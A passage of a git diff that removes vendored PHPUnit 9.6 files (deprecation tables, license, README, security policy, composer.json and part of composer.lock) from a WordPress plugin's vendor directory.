[#3687](https://github.com/sebastianbergmann/phpunit/issues/3687) | `MockBuilder::setMethods()` | 8.3.0 | | -| [#3687](https://github.com/sebastianbergmann/phpunit/issues/3687) | `MockBuilder::setMethodsExcept()` | 9.6.0 | | - -## Hard Deprecations - -This functionality is currently [hard-deprecated](https://phpunit.de/backward-compatibility.html#hard-deprecation): - -### Writing Tests - -#### Assertions, Constraints, and Expectations - -| Issue | Description | Since | Replacement | -|-------------------------------------------------------------------|------------------------------------------------|-------|---------------------------------------------------| -| [#4062](https://github.com/sebastianbergmann/phpunit/issues/4062) | `TestCase::assertNotIsReadable()` | 9.1.0 | `TestCase::assertIsNotReadable()` | -| [#4065](https://github.com/sebastianbergmann/phpunit/issues/4065) | `TestCase::assertNotIsWritable()` | 9.1.0 | `TestCase::assertIsNotWritable()` | -| [#4068](https://github.com/sebastianbergmann/phpunit/issues/4068) | `TestCase::assertDirectoryNotExists()` | 9.1.0 | `TestCase::assertDirectoryDoesNotExist()` | -| [#4071](https://github.com/sebastianbergmann/phpunit/issues/4071) | `TestCase::assertDirectoryNotIsReadable()` | 9.1.0 | `TestCase::assertDirectoryIsNotReadable()` | -| [#4074](https://github.com/sebastianbergmann/phpunit/issues/4074) | `TestCase::assertDirectoryNotIsWritable()` | 9.1.0 | `TestCase::assertDirectoryIsNotWritable()` | -| [#4077](https://github.com/sebastianbergmann/phpunit/issues/4077) | `TestCase::assertFileNotExists()` | 9.1.0 | `TestCase::assertFileDoesNotExist()` | -| [#4080](https://github.com/sebastianbergmann/phpunit/issues/4080) | `TestCase::assertFileNotIsReadable()` | 9.1.0 | `TestCase::assertFileIsNotReadable()` | -| [#4083](https://github.com/sebastianbergmann/phpunit/issues/4083) | `TestCase::assertFileNotIsWritable()` | 9.1.0 | `TestCase::assertFileIsNotWritable()` | -| [#4086](https://github.com/sebastianbergmann/phpunit/issues/4086) | `TestCase::assertRegExp()` | 9.1.0 | `TestCase::assertMatchesRegularExpression()` | -| [#4089](https://github.com/sebastianbergmann/phpunit/issues/4089) | `TestCase::assertNotRegExp()` | 9.1.0 | `TestCase::assertDoesNotMatchRegularExpression()` | -| [#4091](https://github.com/sebastianbergmann/phpunit/issues/4091) | `TestCase::assertEqualXMLStructure()` | 9.1.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectDeprecation()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectDeprecationMessage()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectDeprecationMessageMatches()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectError()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectErrorMessage()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectErrorMessageMatches()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectNotice()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectNoticeMessage()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectNoticeMessageMatches()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectWarning()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectWarningMessage()` | 9.6.0 | | -| [#5062](https://github.com/sebastianbergmann/phpunit/issues/5062) | `TestCase::expectWarningMessageMatches()` | 9.6.0 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::assertClassHasAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::assertClassNotHasAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::assertClassHasStaticAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::assertClassNotHasStaticAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::assertObjectHasAttribute()` | 9.6.1 | `TestCase::assertObjectHasProperty()` | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::assertObjectNotHasAttribute()` | 9.6.1 | `TestCase::assertObjectNotHasProperty()` | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::classHasAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::classHasStaticAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `TestCase::objectHasAttribute()` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `ClassHasAttribute` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `ClassHasStaticAttribute` | 9.6.1 | | -| [#4601](https://github.com/sebastianbergmann/phpunit/issues/4601) | `ObjectHasAttribute` | 9.6.1 | `ObjectHasProperty` | - -#### Test Double API - -| Issue | Description | Since | Replacement | -|-------------------------------------------------------------------|---------------------------------------|-------|-------------------------------------------------------------------------| -| [#4141](https://github.com/sebastianbergmann/phpunit/issues/4141) | `TestCase::prophesize()` | 9.1.0 | [phpspec/prophecy-phpunit](https://github.com/phpspec/prophecy-phpunit) | -| [#4297](https://github.com/sebastianbergmann/phpunit/issues/4297) | `TestCase::at()` | 9.3.0 | | -| [#4297](https://github.com/sebastianbergmann/phpunit/issues/4297) | `InvokedAtIndex` | 9.3.0 | | -| [#5063](https://github.com/sebastianbergmann/phpunit/issues/5063) | `InvocationMocker::withConsecutive()` | 9.6.0 | | -| [#5063](https://github.com/sebastianbergmann/phpunit/issues/5063) | `ConsecutiveParameters` | 9.6.0 | | -| [#5064](https://github.com/sebastianbergmann/phpunit/issues/5064) | `TestCase::getMockClass()` | 9.6.0 | | - -#### Miscellaneous - -| Issue | Description | Since | Replacement | -|-------------------------------------------------------------------|----------------------------------------------|-------|------------------------------------------------| -| [#5132](https://github.com/sebastianbergmann/phpunit/issues/5132) | `Test` suffix for abstract test case classes | | | -| | `TestCase::$backupGlobalsBlacklist` | 9.3.0 | `TestCase::$backupGlobalsExcludeList` | -| | `TestCase::$backupStaticAttributesBlacklist` | 9.3.0 | `TestCase::$backupStaticAttributesExcludeList` | - -### Extending PHPUnit - -| Issue | Description | Since | Replacement | -|-------------------------------------------------------------------|--------------------------------------|-------|-------------------------------------------------------------| -| [#4676](https://github.com/sebastianbergmann/phpunit/issues/4676) | `TestListener` | 8.0.0 | [Event System](https://docs.phpunit.de/en/10.3/events.html) | -| [#4039](https://github.com/sebastianbergmann/phpunit/issues/4039) | `Command::handleLoader()` | 9.1.0 | | -| [#4039](https://github.com/sebastianbergmann/phpunit/issues/4039) | `TestSuiteLoader` | 9.1.0 | | -| [#4039](https://github.com/sebastianbergmann/phpunit/issues/4039) | `StandardTestSuiteLoader` | 9.1.0 | | -| [#4676](https://github.com/sebastianbergmann/phpunit/issues/4676) | `TestListenerDefaultImplementation` | 8.2.4 | [Event System](https://docs.phpunit.de/en/10.3/events.html) | diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/LICENSE deleted file mode 100644 index bdb57ec6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2001-2024, Sebastian Bergmann -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -3. Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/README.md deleted file mode 100644 index 8aff0345..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/README.md +++ /dev/null @@ -1,35 +0,0 @@ -# PHPUnit - -[![Latest Stable Version](https://poser.pugx.org/phpunit/phpunit/v)](https://packagist.org/packages/phpunit/phpunit) -[![CI Status](https://github.com/sebastianbergmann/phpunit/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/phpunit/actions) -[![codecov](https://codecov.io/gh/sebastianbergmann/phpunit/branch/9.6/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/phpunit) - -PHPUnit is a programmer-oriented testing framework for PHP. It is an instance of the xUnit architecture for unit testing frameworks. - -## Installation - -We distribute a [PHP Archive (PHAR)](https://php.net/phar) that has all required (as well as some optional) dependencies of PHPUnit bundled in a single file: - -```bash -$ wget https://phar.phpunit.de/phpunit-X.Y.phar - -$ php phpunit-X.Y.phar --version -``` - -Please replace `X.Y` with the version of PHPUnit you are interested in. - -Alternatively, you may use [Composer](https://getcomposer.org/) to download and install PHPUnit as well as its dependencies. Please refer to the [documentation](https://phpunit.de/documentation.html) for details on how to install PHPUnit. - -## Contribute - -Please refer to [CONTRIBUTING.md](https://github.com/sebastianbergmann/phpunit/blob/main/.github/CONTRIBUTING.md) for information on how to contribute to PHPUnit and its related projects. - -## List of Contributors - -Thanks to everyone who has contributed to PHPUnit! You can find a detailed list of contributors on every PHPUnit related package on GitHub. This list shows only the major components: - -* [PHPUnit](https://github.com/sebastianbergmann/phpunit/graphs/contributors) -* [php-code-coverage](https://github.com/sebastianbergmann/php-code-coverage/graphs/contributors) - -A very special thanks to everyone who has contributed to the [documentation](https://github.com/sebastianbergmann/phpunit-documentation-english/graphs/contributors). - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/SECURITY.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/SECURITY.md deleted file mode 100644 index 5f55c419..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/SECURITY.md +++ /dev/null @@ -1,33 +0,0 @@ -# Security Policy - -If you believe you have found a security vulnerability in PHPUnit, please report it to us through coordinated disclosure. - -**Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** - -Instead, please email `sebastian@phpunit.de`. - -Please include as much of the information listed below as you can to help us better understand and resolve the issue: - -* The type of issue -* Full paths of source file(s) related to the manifestation of the issue -* The location of the affected source code (tag/branch/commit or direct URL) -* Any special configuration required to reproduce the issue -* Step-by-step instructions to reproduce the issue -* Proof-of-concept or exploit code (if possible) -* Impact of the issue, including how an attacker might exploit the issue - -This information will help us triage your report more quickly. - -## Web Context - -PHPUnit is a framework for writing as well as a command-line tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver and/or in a production environment. - -**If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** - -Please note that if you upload PHPUnit to a webserver "bad things" may happen. [You have been warned.](https://thephp.cc/articles/phpunit-a-security-risk?ref=phpunit) - -PHPUnit is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using PHPUnit in an HTTP or web context or with untrusted input data is performed. PHPUnit might also contain functionality that intentionally exposes internal application data for debugging purposes. - -If PHPUnit is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. - -Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.json deleted file mode 100644 index fbee5d8b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.json +++ /dev/null @@ -1,90 +0,0 @@ -{ - "name": "phpunit/phpunit", - "description": "The PHP Unit Testing framework.", - "type": "library", - "keywords": [ - "phpunit", - "xunit", - "testing" - ], - "homepage": "https://phpunit.de/", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/phpunit/issues", - "security": "https://github.com/sebastianbergmann/phpunit/security/policy" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3", - "ext-dom": "*", - "ext-json": "*", - "ext-libxml": "*", - "ext-mbstring": "*", - "ext-xml": "*", - "ext-xmlwriter": "*", - "doctrine/instantiator": "^1.5.0 || ^2", - "myclabs/deep-copy": "^1.12.1", - "phar-io/manifest": "^2.0.4", - "phar-io/version": "^3.2.1", - "phpunit/php-code-coverage": "^9.2.32", - "phpunit/php-file-iterator": "^3.0.6", - "phpunit/php-invoker": "^3.1.1", - "phpunit/php-text-template": "^2.0.4", - "phpunit/php-timer": "^5.0.3", - "sebastian/cli-parser": "^1.0.2", - "sebastian/code-unit": "^1.0.8", - "sebastian/comparator": "^4.0.8", - "sebastian/diff": "^4.0.6", - "sebastian/environment": "^5.1.5", - "sebastian/exporter": "^4.0.6", - "sebastian/global-state": "^5.0.7", - "sebastian/object-enumerator": "^4.0.4", - "sebastian/resource-operations": "^3.0.4", - "sebastian/type": "^3.2.1", - "sebastian/version": "^3.0.2" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "suggest": { - "ext-soap": "To be able to generate mocks based on WSDL files", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "bin": [ - "phpunit" - ], - "autoload": { - "classmap": [ - "src/" - ], - "files": [ - "src/Framework/Assert/Functions.php" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/" - ], - "files": [ - "tests/_files/CoverageNamespacedFunctionTest.php", - "tests/_files/CoveredFunction.php", - "tests/_files/NamespaceCoveredFunction.php" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "9.6-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.lock b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.lock deleted file mode 100644 index 08fedc14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/composer.lock +++ /dev/null @@ -1,1666 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "c2c8f2f519c0a987a4a2c8d3ffd9b3ce", - "packages": [ - { - "name": "doctrine/instantiator", - "version": "1.5.0", - "source": { - "type": "git", - "url": "https://github.com/doctrine/instantiator.git", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/doctrine/instantiator/zipball/0a0fa9780f5d4e507415a065172d26a98d02047b", - "reference": "0a0fa9780f5d4e507415a065172d26a98d02047b", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "require-dev": { - "doctrine/coding-standard": "^9 || ^11", - "ext-pdo": "*", - "ext-phar": "*", - "phpbench/phpbench": "^0.16 || ^1", - "phpstan/phpstan": "^1.4", - "phpstan/phpstan-phpunit": "^1", - "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5", - "vimeo/psalm": "^4.30 || ^5.4" - }, - "type": "library", - "autoload": { - "psr-4": { - "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Marco Pivetta", - "email": "ocramius@gmail.com", - "homepage": "https://ocramius.github.io/" - } - ], - "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", - "homepage": "https://www.doctrine-project.org/projects/instantiator.html", - "keywords": [ - "constructor", - "instantiate" - ], - "support": { - "issues": "https://github.com/doctrine/instantiator/issues", - "source": "https://github.com/doctrine/instantiator/tree/1.5.0" - }, - "funding": [ - { - "url": "https://www.doctrine-project.org/sponsorship.html", - "type": "custom" - }, - { - "url": "https://www.patreon.com/phpdoctrine", - "type": "patreon" - }, - { - "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", - "type": "tidelift" - } - ], - "time": "2022-12-30T00:15:36+00:00" - }, - { - "name": "myclabs/deep-copy", - "version": "1.12.1", - "source": { - "type": "git", - "url": "https://github.com/myclabs/DeepCopy.git", - "reference": "123267b2c49fbf30d78a7b2d333f6be754b94845" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/123267b2c49fbf30d78a7b2d333f6be754b94845", - "reference": "123267b2c49fbf30d78a7b2d333f6be754b94845", - "shasum": "" - }, - "require": { - "php": "^7.1 || ^8.0" - }, - "conflict": { - "doctrine/collections": "<1.6.8", - "doctrine/common": "<2.13.3 || >=3 <3.2.2" - }, - "require-dev": { - "doctrine/collections": "^1.6.8", - "doctrine/common": "^2.13.3 || ^3.2.2", - "phpspec/prophecy": "^1.10", - "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" - }, - "type": "library", - "autoload": { - "files": [ - "src/DeepCopy/deep_copy.php" - ], - "psr-4": { - "DeepCopy\\": "src/DeepCopy/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "description": "Create deep copies (clones) of your objects", - "keywords": [ - "clone", - "copy", - "duplicate", - "object", - "object graph" - ], - "support": { - "issues": "https://github.com/myclabs/DeepCopy/issues", - "source": "https://github.com/myclabs/DeepCopy/tree/1.12.1" - }, - "funding": [ - { - "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", - "type": "tidelift" - } - ], - "time": "2024-11-08T17:47:46+00:00" - }, - { - "name": "nikic/php-parser", - "version": "v4.19.4", - "source": { - "type": "git", - "url": "https://github.com/nikic/PHP-Parser.git", - "reference": "715f4d25e225bc47b293a8b997fe6ce99bf987d2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/715f4d25e225bc47b293a8b997fe6ce99bf987d2", - "reference": "715f4d25e225bc47b293a8b997fe6ce99bf987d2", - "shasum": "" - }, - "require": { - "ext-tokenizer": "*", - "php": ">=7.1" - }, - "require-dev": { - "ircmaxell/php-yacc": "^0.0.7", - "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0" - }, - "bin": [ - "bin/php-parse" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "4.9-dev" - } - }, - "autoload": { - "psr-4": { - "PhpParser\\": "lib/PhpParser" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Nikita Popov" - } - ], - "description": "A PHP parser written in PHP", - "keywords": [ - "parser", - "php" - ], - "support": { - "issues": "https://github.com/nikic/PHP-Parser/issues", - "source": "https://github.com/nikic/PHP-Parser/tree/v4.19.4" - }, - "time": "2024-09-29T15:01:53+00:00" - }, - { - "name": "phar-io/manifest", - "version": "2.0.4", - "source": { - "type": "git", - "url": "https://github.com/phar-io/manifest.git", - "reference": "54750ef60c58e43759730615a392c31c80e23176" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/manifest/zipball/54750ef60c58e43759730615a392c31c80e23176", - "reference": "54750ef60c58e43759730615a392c31c80e23176", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-libxml": "*", - "ext-phar": "*", - "ext-xmlwriter": "*", - "phar-io/version": "^3.0.1", - "php": "^7.2 || ^8.0" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", - "support": { - "issues": "https://github.com/phar-io/manifest/issues", - "source": "https://github.com/phar-io/manifest/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/theseer", - "type": "github" - } - ], - "time": "2024-03-03T12:33:53+00:00" - }, - { - "name": "phar-io/version", - "version": "3.2.1", - "source": { - "type": "git", - "url": "https://github.com/phar-io/version.git", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "shasum": "" - }, - "require": { - "php": "^7.2 || ^8.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Library for handling version information and constraints", - "support": { - "issues": "https://github.com/phar-io/version/issues", - "source": "https://github.com/phar-io/version/tree/3.2.1" - }, - "time": "2022-02-21T01:04:05+00:00" - }, - { - "name": "phpunit/php-code-coverage", - "version": "9.2.32", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-code-coverage.git", - "reference": "85402a822d1ecf1db1096959413d35e1c37cf1a5" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/85402a822d1ecf1db1096959413d35e1c37cf1a5", - "reference": "85402a822d1ecf1db1096959413d35e1c37cf1a5", - "shasum": "" - }, - "require": { - "ext-dom": "*", - "ext-libxml": "*", - "ext-xmlwriter": "*", - "nikic/php-parser": "^4.19.1 || ^5.1.0", - "php": ">=7.3", - "phpunit/php-file-iterator": "^3.0.6", - "phpunit/php-text-template": "^2.0.4", - "sebastian/code-unit-reverse-lookup": "^2.0.3", - "sebastian/complexity": "^2.0.3", - "sebastian/environment": "^5.1.5", - "sebastian/lines-of-code": "^1.0.4", - "sebastian/version": "^3.0.2", - "theseer/tokenizer": "^1.2.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.6" - }, - "suggest": { - "ext-pcov": "PHP extension that provides line coverage", - "ext-xdebug": "PHP extension that provides line coverage as well as branch and path coverage" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "9.2.x-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Library that provides collection, processing, and rendering functionality for PHP code coverage information.", - "homepage": "https://github.com/sebastianbergmann/php-code-coverage", - "keywords": [ - "coverage", - "testing", - "xunit" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-code-coverage/issues", - "security": "https://github.com/sebastianbergmann/php-code-coverage/security/policy", - "source": "https://github.com/sebastianbergmann/php-code-coverage/tree/9.2.32" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2024-08-22T04:23:01+00:00" - }, - { - "name": "phpunit/php-file-iterator", - "version": "3.0.6", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-file-iterator.git", - "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-file-iterator/zipball/cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", - "reference": "cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "FilterIterator implementation that filters files based on a list of suffixes.", - "homepage": "https://github.com/sebastianbergmann/php-file-iterator/", - "keywords": [ - "filesystem", - "iterator" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-file-iterator/issues", - "source": "https://github.com/sebastianbergmann/php-file-iterator/tree/3.0.6" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2021-12-02T12:48:52+00:00" - }, - { - "name": "phpunit/php-invoker", - "version": "3.1.1", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-invoker.git", - "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-invoker/zipball/5a10147d0aaf65b58940a0b72f71c9ac0423cc67", - "reference": "5a10147d0aaf65b58940a0b72f71c9ac0423cc67", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "ext-pcntl": "*", - "phpunit/phpunit": "^9.3" - }, - "suggest": { - "ext-pcntl": "*" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Invoke callables with a timeout", - "homepage": "https://github.com/sebastianbergmann/php-invoker/", - "keywords": [ - "process" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-invoker/issues", - "source": "https://github.com/sebastianbergmann/php-invoker/tree/3.1.1" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-09-28T05:58:55+00:00" - }, - { - "name": "phpunit/php-text-template", - "version": "2.0.4", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-text-template.git", - "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-text-template/zipball/5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", - "reference": "5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "2.0-dev" - } - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "description": "Simple template engine.", - "homepage": "https://github.com/sebastianbergmann/php-text-template/", - "keywords": [ - "template" - ], - "support": { - "issues": "https://github.com/sebastianbergmann/php-text-template/issues", - "source": "https://github.com/sebastianbergmann/php-text-template/tree/2.0.4" - }, - "funding": [ - { - "url": "https://github.com/sebastianbergmann", - "type": "github" - } - ], - "time": "2020-10-26T05:33:50+00:00" - }, - { - "name": "phpunit/php-timer", - "version": "5.0.3", - "source": { - "type": "git", - "url": "https://github.com/sebastianbergmann/php-timer.git", - "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/sebastianbergmann/php-timer/zipball/5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", - "reference": "5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2", - "shasum": "" - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - 